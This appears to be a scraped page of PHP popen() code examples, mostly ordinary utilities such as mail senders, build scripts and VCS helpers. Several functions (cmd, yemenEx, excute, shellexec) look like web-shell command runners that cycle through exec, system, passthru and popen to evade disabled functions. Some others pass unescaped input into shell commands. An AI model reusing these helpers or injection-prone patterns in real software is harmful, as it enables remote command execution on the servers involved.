Exemple #1
0
 /**
  * @param $request_string
  * @return string
  */
 private function output($request_string)
 {
     // 静态 GET /1.html HTTP/1.1 ...
     // 动态 GET /user.cgi?id=1 HTTP/1.1 ...
     $request_array = explode(" ", $request_string);
     if (count($request_array) < 2) {
         return "";
     }
     $uri = $request_array[1];
     echo "request:" . web_config::WEB_ROOT . $uri . "\n";
     $query_string = null;
     if ($uri == "/favicon.ico") {
         return "";
     }
     if (strpos($uri, "?")) {
         $uriArr = explode("?", $uri);
         $uri = $uriArr[0];
         $query_string = isset($uriArr[1]) ? $uriArr[1] : null;
     }
     $filename = web_config::WEB_ROOT . $uri;
     if ($this->cgi_check($uri)) {
         $this->set_env($query_string);
         $handle = popen(web_config::WEB_ROOT . $uri, "r");
         $read = stream_get_contents($handle);
         pclose($handle);
         return $this->add_header($read);
     }
     // 静态文件的处理
     if (file_exists($filename)) {
         return $this->add_header(file_get_contents($filename));
     } else {
         return $this->not_found();
     }
 }
Exemple #2
0
function cmd($cfe)
{
    $res = '';
    echon($cfe, 1);
    $cfe = $cfe;
    if ($cfe) {
        if (function_exists('exec')) {
            @exec($cfe, $res);
            $res = join("\n", $res);
        } elseif (function_exists('shell_exec')) {
            $res = @shell_exec($cfe);
        } elseif (function_exists('system')) {
            @ob_start();
            @system($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif (function_exists('passthru')) {
            @ob_start();
            @passthru($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif (@is_resource($f = @popen($cfe, "r"))) {
            $res = '';
            while (!@feof($f)) {
                $res .= @fread($f, 1024);
            }
            @pclose($f);
        }
    }
    echon($res, 1);
    return $res;
}
function execute_program($program, $args = '')
{
    $buffer = '';
    /*
    $program = find_program($program);
    
    print "$program $args<hr>";
    
    if (!$program) { return; }
    
    if ($args) {
        $args_list = split(' ', $args);
        for ($i = 0; $i < count($args_list); $i++) {
            if ($args_list[$i] == '|') {
                $cmd = $args_list[$i+1];
                $new_cmd = find_program($cmd);
                $args = ereg_replace("\| $cmd", "| $new_cmd", $args);
            }
        }
    }
    */
    if ($fp = popen("/bin/df {$args}", 'r')) {
        while (!feof($fp)) {
            $buffer .= fgets($fp, 4096);
        }
        return trim($buffer);
    }
}
function progressBar($cmd, $regexp)
{
    global $config;
    $line = "";
    $out = 0;
    $left = $config['progressBarLength'];
    debug('execute', $cmd);
    $fp = popen($cmd . ' 2>&1', 'r');
    while (!feof($fp)) {
        $data = fread($fp, 1);
        if (ord($data) == 13 || ord($data) == 10) {
            if (preg_match($regexp, $line, $match)) {
                $curr = (int) ((int) $match[1] * $config['progressBarLength'] / 100);
                for ($i = $out; $i < $curr; $i++) {
                    echo $config['progressBarChar'];
                    $out++;
                    $left--;
                }
            }
            $line = "";
        } else {
            $line .= $data;
        }
        flush();
    }
    pclose($fp);
    while ($left) {
        echo $config['progressBarChar'];
        $left--;
        $out++;
    }
    flush();
}
function yemenEx($in)
{
    $out = '';
    if (function_exists('exec')) {
        @exec($in, $out);
        $out = @join("\n", $out);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    } elseif (function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
        $out = shell_exec($in);
    } elseif (is_resource($f = @popen($in, "r"))) {
        $out = "";
        while (!@feof($f)) {
            $out .= fread($f, 1024);
        }
        pclose($f);
    }
    return $out;
}
 function SendMail($to, $subject, $body, $headers, $return_path)
 {
     $command = $this->sendmail_path . " -t";
     switch ($this->delivery_mode) {
         case SENDMAIL_DELIVERY_DEFAULT:
         case SENDMAIL_DELIVERY_INTERACTIVE:
         case SENDMAIL_DELIVERY_BACKGROUND:
         case SENDMAIL_DELIVERY_QUEUE:
         case SENDMAIL_DELIVERY_DEFERRED:
             break;
         default:
             return $this->OutputError("it was specified an unknown sendmail delivery mode");
     }
     if ($this->delivery_mode != SENDMAIL_DELIVERY_DEFAULT) {
         $command .= " -O DeliveryMode=" . $this->delivery_mode;
     }
     if (strlen($return_path)) {
         $command .= " -f '" . ereg_replace("'", "'\\''", $return_path) . "'";
     }
     if (strlen($this->sendmail_arguments)) {
         $command .= " " . $this->sendmail_arguments;
     }
     if (!($pipe = popen($command, "w"))) {
         return $this->OutputError("it was not possible to open sendmail input pipe");
     }
     if (!fputs($pipe, "To: {$to}\n") || !fputs($pipe, "Subject: {$subject}\n") || $headers != "" && !fputs($pipe, "{$headers}\n") || !fputs($pipe, "\n{$body}")) {
         return $this->OutputError("it was not possible to write sendmail input pipe");
     }
     pclose($pipe);
     return "";
 }
Exemple #7
0
 public function run()
 {
     echo "Copying fonts...\n";
     shell_exec("php bin/copy_fonts.php");
     echo "Compiling javascript...\n";
     shell_exec("php bin/lucid.php compile-javascript");
     echo "Compiling sass...\n";
     shell_exec("php bin/lucid.php compile-sass");
     echo "Building docs...\n";
     shell_exec("php bin/lucid.php build-docs;");
     echo "Assets ready! starting servers...\nApp server: http://" . $this->config['host'] . ":" . $this->config['port'] . "\nDoc server: http://" . $this->config['host'] . ":" . $this->config['docs-port'] . " \n----------------------------------------------------------\n";
     $cmd_server = "touch debug.log; export APP_STAGE=" . $this->config['stage'] . "; php -S " . $this->config['host'] . ":" . $this->config['port'] . " -t public config/rewrite.php";
     if ($this->config['show-server-output'] === false) {
         $cmd_server .= " > /dev/null 2>&1";
     }
     $cmd_docs_server = "php -S " . $this->config['host'] . ":" . $this->config['docs-port'] . " -t docs";
     if ($this->config['show-server-output'] === false) {
         $cmd_docs_server .= " > /dev/null 2>&1";
     }
     $cmd_watcher = "php ./bin/watcher.php";
     $cmd_logs = "tail -n 0 -f ./debug.log | cut -c 76-10000";
     $this->config['proc-server'] = popen($cmd_server, 'w');
     $this->config['proc-docs-server'] = popen($cmd_docs_server, 'w');
     $this->config['proc-watcher'] = popen($cmd_watcher, 'w');
     $this->config['proc-logs'] = popen($cmd_logs, 'w');
     register_shutdown_function([$this, 'shutdown']);
     while (!feof($this->config['proc-logs'])) {
         echo fread($this->config['proc-logs'], 4096);
         @flush();
         usleep(1000000);
     }
 }
Exemple #8
0
 /**
  * Init scan process.
  * Solution for realtime output find on: http://stackoverflow.com/questions/1281140/run-process-with-realtime-output-in-php
  * Maybe ugly, but sometimes at 3AM it's only what is getting out of head ;-)
  */
 public function initScan()
 {
     $view = new Views('templates/head.tpl.php');
     $view->set('class', 'scanner');
     print $view->render();
     set_time_limit(0);
     $handle = popen(PHP . " scanner.php " . $this->project_id, "r");
     if (ob_get_level() == 0) {
         ob_start();
     }
     while (!feof($handle)) {
         $buffer = fgets($handle);
         $buffer = trim(htmlspecialchars($buffer));
         $data = explode(';', $buffer);
         switch ($data[0]) {
             case 'FOUND':
                 print "<div class=\"infobox\"><h3>Found something</h3><p><strong>Time:</strong> " . $data[1] . "<br><strong>Filter name:</strong> " . $data[2] . "<br><strong>Line:</strong> " . $data[3] . "<br><strong>File:</strong> " . $data[4] . "</p><a href=\"/report/" . $data[5] . "\" target=\"_blank\"><span class=\"button warning_button\" style=\"\">Show report</span></a></div>";
                 break;
             case 'NOT_FOUND':
                 print "<div class=\"infobox\"><h3>WOW!</h3><p>Scanner didn't found anything. So your project is sooo secure. You are security mastah, or the filters are too weak ;-) Anyway, I recommend to do a manual code review, to be 100% sure ;-)</p></div>";
                 break;
             case 'SCANNED':
                 print "<div class=\"infobox\"><h3>Hmmmm...</h3><p>Your project has been scanned before. Please go to project to check your reports. <br><a href=\"/show/" . $this->project_id . "\" target=\"_parent\"><span class=\"button\">Go to project page</span></a></p></div>";
                 break;
         }
         ob_flush();
         flush();
         time_nanosleep(0, 10000000);
     }
     pclose($handle);
     ob_end_flush();
 }
 /**
  * @param \Symfony\Component\Console\Input\InputInterface $input
  * @param \Symfony\Component\Console\Output\OutputInterface $output
  * @return int|void
  */
 protected function execute(InputInterface $input, OutputInterface $output)
 {
     declare (ticks=1);
     $this->output = $output;
     // Register shutdown function
     register_shutdown_function(array($this, 'stopCommand'));
     // Register SIGTERM/SIGINT catch if script is killed by user
     if (function_exists('pcntl_signal')) {
         pcntl_signal(SIGTERM, array($this, 'stopCommand'));
         pcntl_signal(SIGINT, array($this, 'stopCommand'));
     } else {
         $this->output->writeln('<options=bold>Note:</> The PHP function pcntl_signal isn\'t defined, which means you\'ll have to do some manual clean-up after using this command.');
         $this->output->writeln('Remove the file \'app/Mage.php.rej\' and the line \'Mage::log($name, null, \'n98-magerun-events.log\');\' from app/Mage.php after you\'re done.');
     }
     $this->detectMagento($output);
     if ($this->initMagento()) {
         $currentMagerunDir = dirname(__FILE__);
         $patch = $currentMagerunDir . '/0001-Added-logging-of-events.patch';
         // Enable logging & apply patch
         shell_exec('cd ' . \Mage::getBaseDir() . ' && n98-magerun.phar dev:log --on --global && patch -p1 < ' . $patch);
         $output->writeln('Tailing events... ');
         // Listen to log file
         shell_exec('echo "" > ' . \Mage::getBaseDir() . '/var/log/n98-magerun-events.log');
         $handle = popen('tail -f ' . \Mage::getBaseDir() . '/var/log/n98-magerun-events.log 2>&1', 'r');
         while (!feof($handle)) {
             $buffer = fgets($handle);
             $output->write($buffer);
             flush();
         }
         pclose($handle);
     }
 }
function tagger()
{
    if (func_num_args()) {
        $arg_list = func_get_args();
        $string = $arg_list[0];
    } else {
        return false;
    }
    if (file_exists("medpost")) {
        $commandstring = "./medpost -token";
    } elseif (defined(MEDPOST_DIR)) {
        if (file_exists(MEDPOST_DIR . "medpost")) {
            $commandstring = MEDPOST_DIR . "medpost -token";
        } else {
            print "Medpost could not be found. Please check MEDPOST_DIR value.";
            return false;
        }
    } else {
        print "Medpost could not be found.";
        return false;
    }
    $handle = popen("echo \"{$string}\" | {$commandstring} ", "r");
    $read = fread($handle, 2096);
    echo $read;
    pclose($handle);
    $split = preg_split("/\\s/", $read);
    print_r($split);
}
 public function doAction()
 {
     //check if id file and job is a number
     //if (is_numeric($this->id_file) && is_numeric($this->id_job))
     //convert id_file and id_job into a numbers
     $id_file = (int) $this->id_file;
     $id_job = (int) $this->id_job;
     ini_set('max_execution_time', 6000);
     $ret = -1;
     if (substr(php_uname(), 0, 7) == "Windows") {
         log::doLog("windows");
         $ret = pclose(popen("start C:\\wamp\\bin\\php\\php5.4.3\\php " . INIT::$MODEL_ROOT . "/exportLog.php " . $id_file . " " . $id_job . " 1", "r"));
     } else {
         $ret = pclose(popen("nohup php " . INIT::$MODEL_ROOT . "/exportLog.php " . $id_file . " " . $id_job . " 1 &", "r"));
     }
     log::doLog("CASMACAT: return exportLog: " . $ret);
     ini_set('max_execution_time', 30);
     //        $this->filename ="log_id".$this->id_file."_".$this->file_name.".xml";
     //        header('Content-Type: text/xml; charset=UTF-8');
     //        header('Content-Disposition: attachment; filename="' . $this->file_name . '.xml"');
     //
     //        //log::doLog("CASMACAT: file: ".INIT::$LOG_DOWNLOAD . "/" .$this->filename);
     //
     //        $this->content = file_get_contents(INIT::$LOG_DOWNLOAD . "/" . $this->filename);
     if ($ret == "END") {
         $this->result['code'] = 0;
         $this->result['data'] = "OK";
     } else {
         $this->result['errors'] = "It is not possible to get the log file";
         $this->result['code'] = -1;
     }
 }
Exemple #12
0
 function System_Pipe($command)
 {
     $handle = popen($command . ' 2>&1', 'r');
     $read = fread($handle, 2096);
     pclose($handle);
     return $read;
 }
 function ReadData($targetstring, &$map, &$item)
 {
     $data[IN] = NULL;
     $data[OUT] = NULL;
     $data_time = 0;
     if (preg_match("/^!(.*)\$/", $targetstring, $matches)) {
         $command = $matches[1];
         debug("ExternalScript ReadData: Running {$command}\n");
         // run the command here
         if (($pipe = popen($command, "r")) === false) {
             warn("ExternalScript ReadData: Failed to run external script. [WMEXT01]\n");
         } else {
             $i = 0;
             while ($i < 5 && !feof($pipe)) {
                 $lines[$i++] = fgets($pipe, 1024);
             }
             pclose($pipe);
             if ($i == 5) {
                 $data[IN] = floatval($lines[0]);
                 $data[OUT] = floatval($lines[1]);
                 $item->add_hint("external_line1", $lines[0]);
                 $item->add_hint("external_line2", $lines[1]);
                 $item->add_hint("external_line3", $lines[2]);
                 $item->add_hint("external_line4", $lines[3]);
                 $data_time = time();
             } else {
                 warn("ExternalScript ReadData: Not enough lines read from external script ({$i} read, 4 expected) [WMEXT02]\n");
             }
         }
     }
     debug("ExternalScript ReadData: Returning (" . ($data[IN] === NULL ? 'NULL' : $data[IN]) . "," . ($data[OUT] === NULL ? 'NULL' : $data[OUT]) . ",{$data_time})\n");
     return array($data[IN], $data[OUT], $data_time);
 }
function cvs_max_rev($filename, $start, $end)
{
    static $lastfile = "";
    static $array = array();
    if ($filename != $lastfile) {
        $cmd = "/usr/bin/cvs annotate {$filename} 2>/dev/null";
        $fp = popen($cmd, "r");
        if (!$fp) {
            return false;
        }
        $n = 0;
        $array = array();
        $lastfile = $filename;
        while (!feof($fp)) {
            $line = fgets($fp);
            if (empty($line)) {
                continue;
            }
            $tokens = explode(" ", $line);
            $array[++$n] = explode(".", $tokens[0]);
        }
        pclose($fp);
    }
    $max = array();
    for ($n = $start; $n <= $end; $n++) {
        if (rev_cmp($max, $array[$n])) {
            $max = $array[$n];
        }
    }
    return $max;
}
Exemple #15
0
function patchText($before, $diff, $reverse = 0)
{
    $tmp = tempnam("/tmp", "patch");
    $tmp2 = "{$tmp}.diff";
    $out = fopen($tmp, "wb");
    if (!$out) {
        return array(1, "Can't open tmp file {$tmp}");
    }
    $rc = fwrite($out, private_prepDiff($before));
    if (fclose($out) === false || $rc === false) {
        return array(1, "Error writing to tmp file {$tmp}");
    }
    $out = popen("/usr/bin/patch " . ($reverse ? "-R " : "") . "-f " . escapeshellarg($tmp), "wb");
    if (!$out) {
        return array(1, "Can't execute patch command");
    }
    $rc = fwrite($out, str_replace("\r", "", $diff));
    $err = pclose($out);
    $result = file_get_contents($tmp);
    @unlink($tmp);
    @unlink("{$tmp}.orig");
    @unlink("{$tmp}.rej");
    if ($rc === false || $result === false || $err >= 2) {
        return array(1, "System error applying the patch");
    }
    if ($err == 1) {
        return array(7, "{$tmp}:The patch doesn't apply cleanly");
    }
    return array(0, private_unprepDiff($result));
}
Exemple #16
0
 /**
  * Asyncrhonous Convert all Video format to video/webm
  *   
  * Use ffmpeg for conversion
  * @return void
  * @author Cédric Levasseur
  */
 public static function FastEncodeVideo($file)
 {
     $basefile = new File($file);
     $basepath = File::a2r($file);
     $path_thumb_webm = File::Root() . '/' . Settings::$thumbs_dir . dirname($basepath) . "/" . $basefile->name . '.webm';
     $path_thumb_jpg = File::Root() . '/' . Settings::$thumbs_dir . dirname($basepath) . "/" . $basefile->name . '.jpg';
     if (!file_exists($path_thumb_webm) || filectime($file) > filectime($path_thumb_webm)) {
         /// Create Folder
         if (!file_exists(dirname($path_thumb_webm))) {
             @mkdir(dirname($path_thumb_webm), 0755, true);
         }
     }
     error_log($file, 0);
     error_log($path_thumb_webm, 0);
     if ($basefile->extension != "webm") {
         if (!file_exists($path_thumb_webm)) {
             ///Create Thumbnail jpg in  Thumbs folder
             $u = Settings::$ffmpeg_path . ' -itsoffset -4  -i ' . $file . ' -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 -y ' . $path_thumb_jpg;
             error_log($u, 0);
             pclose(popen('start /b ' . $u . '', 'r'));
             ///Convert video to webm format in Thumbs folder
             $u = Settings::$ffmpeg_path . ' -threads 4 -i ' . $file . ' ' . Settings::$ffmpeg_option . ' -y ' . $path_thumb_webm . ' 2>&1';
             error_log($u, 0);
             pclose(popen('start /b ' . $u . '', 'r'));
         }
     } else {
         //Create Thumbnail jpg in Thumbs folder
         $u = Settings::$ffmpeg_path . ' -itsoffset -4  -i ' . $file . ' -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 -y ' . $path_thumb_jpg;
         pclose(popen('start /b ' . $u . '', 'r'));
         ///Copy original webm video to Thumbs folder
         copy($file, $path_thumb_webm);
     }
 }
 /**
  * Check username/password
  *
  * @return bool
  */
 public function checkPass($user, $pass)
 {
     // get user information
     $userinfo = posix_getpwnam($user);
     if (empty($userinfo)) {
         return false;
     }
     // run pwauth
     $handle = popen($this->pwauth_path, "w");
     if ($handle === false) {
         echo "failed to execute " . $this->pwauth_path . "!";
         return false;
     }
     // write user and password to pwauth
     if (fwrite($handle, "{$user}\n{$pass}\n") === false) {
         echo "failed to write to pwauth!";
         return false;
     }
     // authentication is successful only if the exit status of pwauth is 0
     $status = pclose($handle);
     if ($status == 0) {
         return true;
     }
     return false;
 }
function check_language($cmd)
{
    /// return users current language if its
    /// dictionary is found installed in system
    /// and always return english if user's own
    /// language is not in the list. If english dictionary
    /// isn't found, then false is returned.
    global $CFG;
    clearstatcache();
    $current_lang = str_replace('_utf8', '', current_language());
    $output = '';
    if (!($handle = popen($cmd . ' dump dicts', 'r'))) {
        error_handler("Couldn't create handle!");
        exit;
    }
    while (!feof($handle)) {
        $output .= fread($handle, 1024);
    }
    @pclose($handle);
    $dicts = explode(chr(10), strtolower($output));
    if (is_array($dicts)) {
        if (in_array($current_lang, $dicts)) {
            return $current_lang;
        }
    }
    if (!empty($CFG->editordictionary)) {
        return $CFG->editordictionary;
    }
    return false;
}
function excute($cfe) {
  $res = '';
  if (!empty($cfe)) {
    if(@function_exists('exec')) {
      @exec($cfe,$res);
      $res = join("\n",$res);
    } elseif(@function_exists('shell_exec')) {
      $res = @shell_exec($cfe);
    } elseif(@function_exists('system')) {
      @ob_start();
      @system($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@function_exists('passthru')) {
      @ob_start();
      @passthru($cfe);
      $res = @ob_get_contents();
      @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
      $res = "";
      while(!@feof($f)) { $res .= @fread($f,1024); }
      @pclose($f);
    } else { $res = "Ex() Disabled!"; }
  }
  return $res;
}
Exemple #20
0
 function doRepositoryTest($repo)
 {
     if ($repo->accessType != "ssh") {
         return -1;
     }
     $basePath = "../../../plugins/access.ssh/";
     // Check file exists
     if (!file_exists($basePath . "class.sshAccessDriver.php") || !file_exists($basePath . "class.SSHOperations.php") || !file_exists($basePath . "manifest.xml") || !file_exists($basePath . "showPass.php") || !file_exists($basePath . "sshActions.xml")) {
         $this->failedInfo .= "Missing at least one of the plugin files (class.sshDriver.php, class.SSHOperations.php, manifest.xml, showPass.php, sshActions.xml).\nPlease reinstall from lastest release.";
         return FALSE;
     }
     // Check if showPass is executable from ssh
     $stat = stat($basePath . "showPass.php");
     $mode = $stat['mode'] & 0x7fff;
     // We don't care about the type
     if (!is_executable($basePath . 'showPass.php') && ($mode & 0x40 && $stat['uid'] == posix_getuid()) && ($mode & 0x8 && $stat['gid'] == posix_getgid()) && $mode & 0x1) {
         chmod($basePath . 'showPass.php', 0555);
         if (!is_executable($basePath . 'showPass.php')) {
             $this->failedInfo .= "showPass.php must be executable. Please log in on your server and set showPass.php as executable (chmod u+x showPass.php).";
             return FALSE;
         }
     }
     // Check if ssh is accessible
     $handle = popen("ssh 2>&1", "r");
     $usage = fread($handle, 30);
     pclose($handle);
     if (strpos($usage, "usage") === FALSE) {
         $this->failedInfo .= "Couldn't find or execute 'ssh' on your system. Please install latest SSH client.";
         return FALSE;
     }
     return TRUE;
 }
Exemple #21
0
function processor_man($formatter, $value = "")
{
    global $DBInfo;
    if ($value[0] == '#' and $value[1] == '!') {
        list($line, $value) = explode("\n", $value, 2);
    }
    if ($line) {
        list($tag, $args) = explode(' ', $line, 2);
    }
    $vartmp_dir =& $DBInfo->vartmp_dir;
    $tmpf = tempnam($vartmp_dir, "MAN");
    $fp = fopen($tmpf, "w");
    fwrite($fp, $value);
    fclose($fp);
    if (!empty($DBInfo->man_man2html) and $DBInfo->man_man2html == 'groff') {
        $man2html = "groff -Thtml -mman {$tmpf}";
    } else {
        $man2html = "man2html {$tmpf}";
    }
    $html = '';
    $fp = popen($man2html . $formatter->NULL, 'r');
    while ($s = fgets($fp, 1024)) {
        $html .= $s;
    }
    pclose($fp);
    unlink($tmpf);
    $html = preg_replace('@^Content-type: text/html@', '', $html);
    $html = preg_replace('/<\\/?META[^>]*>|<\\/?HTML>|<\\/?HEAD>|<\\/?BODY>|<TITLE>[^>]+<\\/TITLE>/i', '', $html);
    $html = preg_replace('/http:\\/\\/localhost\\/cgi\\-bin\\/man\\/man2html\\?.\\+/', '?action=man_get&man=', $html);
    $html = preg_replace('/http:\\/\\/localhost\\/cgi\\-bin\\/man\\/man2html/', '?goto=ManPage', $html);
    return $html;
}
Exemple #22
0
function num_cpus()
{
    $numCpus = 1;
    if (is_file('/proc/cpuinfo')) {
        $cpuinfo = file_get_contents('/proc/cpuinfo');
        preg_match_all('/^processor/m', $cpuinfo, $matches);
        $numCpus = count($matches[0]);
    } elseif ('WIN' == strtoupper(substr(PHP_OS, 0, 3))) {
        $process = @popen('wmic cpu get NumberOfCores', 'rb');
        if (false !== $process) {
            fgets($process);
            $numCpus = intval(fgets($process));
            pclose($process);
        }
    } else {
        $process = @popen('sysctl -a', 'rb');
        if (false !== $process) {
            $output = stream_get_contents($process);
            preg_match('/hw.ncpu: (\\d+)/', $output, $matches);
            if ($matches) {
                $numCpus = intval($matches[1][0]);
            }
            pclose($process);
        }
    }
    return $numCpus;
}
 function SendMail($to, $subject, $body, $headers)
 {
     $command = $this->sendmail_path . " -t";
     if (isset($this->delivery["Headers"])) {
         $headers_values = $this->delivery["Headers"];
         for ($return_path = "", $header = 0, Reset($headers_values); $header < count($headers_values); $header++, Next($headers_values)) {
             if (strtolower(Key($headers_values)) == "return-path") {
                 $return_path = $headers_values[Key($headers_values)];
                 break;
             }
         }
         if (strlen($return_path)) {
             $command .= " -f {$return_path}";
         }
     }
     if (strlen($this->sendmail_arguments)) {
         $command .= " " . $this->sendmail_arguments;
     }
     if (!($pipe = popen($command, "w"))) {
         return $this->OutputError("it was not possible to open sendmail input pipe");
     }
     if (!fputs($pipe, "To: {$to}\n") || !fputs($pipe, "Subject: {$subject}\n") || $headers != "" && !fputs($pipe, "{$headers}\n") || !fputs($pipe, "\n{$body}")) {
         return $this->OutputError("it was not possible to write sendmail input pipe");
     }
     pclose($pipe);
     return "";
 }
 function shellexec($cmd)
 {
     global $disablefunc;
     $result = "";
     if (!empty($cmd)) {
         if (is_callable("exec") and !in_array("exec", $disablefunc)) {
             exec($cmd, $result);
             $result = join("\n", $result);
         } elseif (($result = `{$cmd}`) !== FALSE) {
         } elseif (is_callable("system") and !in_array("system", $disablefunc)) {
             $v = ob_get_contents();
             ob_clean();
             system($cmd);
             $result = ob_get_contents();
             ob_clean();
             echo $v;
         } elseif (is_resource($fp = popen($cmd, "r"))) {
             $result = "";
             while (!feof($fp)) {
                 $result .= fread($fp, 1024);
             }
             pclose($fp);
         }
     }
     return $result;
 }
Exemple #25
0
function execute_program($program, $args = '')
{
    $buffer = '';
    $program = find_program($program);
    if (!$program) {
        return;
    }
    // see if we've gotten a |, if we have we need to do patch checking on the cmd
    if ($args) {
        $args_list = preg_split('/ /', $args);
        for ($i = 0; $i < count($args_list); $i++) {
            if ($args_list[$i] == '|') {
                $cmd = $args_list[$i + 1];
                $new_cmd = find_program($cmd);
                $args = preg_replace('/\\| ' . preg_quote($cmd, '/') . '/', '| ' . $new_cmd, $args);
            }
        }
    }
    // we've finally got a good cmd line.. execute it
    if ($fp = popen($program . ' ' . $args, 'r')) {
        while (!feof($fp)) {
            $buffer .= fgets($fp, 4096);
        }
        return trim($buffer);
    }
}
Exemple #26
0
 public function execute($do = true)
 {
     $cmd = $this->command;
     for ($i = 0; $i < count($this->values); $i++) {
         $cmd .= $this->attributeSeparator . $this->values[$i];
     }
     foreach ($this->attributes as $key => $value) {
         $cmd .= $this->attributeSeparator . $this->attributeInitiator . $key . ($value != "" ? $this->attributeOperator . $value : "");
     }
     $cmd = $cmd . ($this->pipe != null ? " | " . $this->pipe->getPipeCommand() : "");
     if ($do) {
         if ($this->username == "") {
             $this->output = shell_exec($cmd);
         } else {
             $c = '/bin/su ' . $this->username . ' -c "' . $cmd . '" 2>&1';
             $handle = popen($c, "r");
             $read = fread($handle, 2096);
             pclose($handle);
             if (trim($read) == "su: must be run from a terminal") {
                 die("su has been disabled for the user of your webserver. Maybe you want to try sudo...");
             } else {
                 $_SESSION["messages"]->addMessage("System: {$c}", "System");
                 $fp = popen($c, "w");
                 fputs($fp, $this->password);
                 pclose($fp);
             }
             $this->output = "No output available in su-mode";
         }
     } else {
         return $cmd;
     }
 }
Exemple #27
0
function Merge($newtext,$oldtext,$pagetext) {
  global $WorkDir,$SysMergeCmd, $SysMergePassthru;
  SDV($SysMergeCmd,"/usr/bin/diff3 -L '' -L '' -L '' -m -E");
  if (substr($newtext,-1,1)!="\n") $newtext.="\n";
  if (substr($oldtext,-1,1)!="\n") $oldtext.="\n";
  if (substr($pagetext,-1,1)!="\n") $pagetext.="\n";
  $tempnew = tempnam($WorkDir,"new");
  $tempold = tempnam($WorkDir,"old");
  $temppag = tempnam($WorkDir,"page");
  if ($newfp=fopen($tempnew,'w')) { fputs($newfp,$newtext); fclose($newfp); }
  if ($oldfp=fopen($tempold,'w')) { fputs($oldfp,$oldtext); fclose($oldfp); }
  if ($pagfp=fopen($temppag,'w')) { fputs($pagfp,$pagetext); fclose($pagfp); }
  $mergetext = '';
  if (IsEnabled($SysMergePassthru, 0)) {
    ob_start();
    passthru("$SysMergeCmd $tempnew $tempold $temppag");
    $mergetext = ob_get_clean();
  }
  else {
    $merge_handle = popen("$SysMergeCmd $tempnew $tempold $temppag",'r');
    if ($merge_handle) {
      while (!feof($merge_handle)) $mergetext .= fread($merge_handle,4096);
      pclose($merge_handle);
    }
  }
  @unlink($tempnew); @unlink($tempold); @unlink($temppag);
  return $mergetext;
}
Exemple #28
0
function flush_log()
{
    $handle = popen("env NOCOLOR=1 /usr/local/bin/sudo /usr/local/bin/cbsd task mode=flushall", "r");
    $read = fgets($handle, 4096);
    pclose($handle);
    header('Location: taskls.php');
}
Exemple #29
0
/**
 * Start the commandline to send a newsletter
 * This is offloaded because it could take a while and/or resources
 *
 * @param Newsletter $entity Newsletter entity to be processed
 *
 * @return void
 */
function newsletter_start_commandline_sending(Newsletter $entity)
{
    if (!empty($entity) && elgg_instanceof($entity, "object", Newsletter::SUBTYPE)) {
        // prepare commandline settings
        $settings = array("entity_guid" => $entity->getGUID(), "host" => $_SERVER["HTTP_HOST"], "memory_limit" => ini_get("memory_limit"), "secret" => newsletter_generate_commanline_secret($entity->getGUID()));
        if (isset($_SERVER["HTTPS"])) {
            $settings["https"] = $_SERVER["HTTPS"];
        }
        // ini settings
        $ini_param = "";
        $ini_file = php_ini_loaded_file();
        if (!empty($ini_file)) {
            $ini_param = "-c " . $ini_file . " ";
        }
        // which script to run
        $script_location = dirname(dirname(__FILE__)) . "/procedures/cli.php";
        // convert settings to commandline params
        $query_string = http_build_query($settings, "", " ");
        // start the correct commandline
        if (PHP_OS === "WINNT") {
            pclose(popen("start /B php " . $ini_param . $script_location . " " . $query_string, "r"));
        } else {
            exec("php " . $ini_param . $script_location . " " . $query_string . " > /dev/null &");
        }
    }
}
 public function execute(InputInterface $input, OutputInterface $output)
 {
     $solrRoot = $this->getContainer()->getParameter('room13.solr.config.solr_root');
     $schemaRoot = $this->getContainer()->getParameter('room13.solr.config.schema_root');
     $p = popen("cd {$solrRoot} && java -Dsolr.solr.home={$schemaRoot} -jar start.jar", "r");
     fpassthru($p);
 }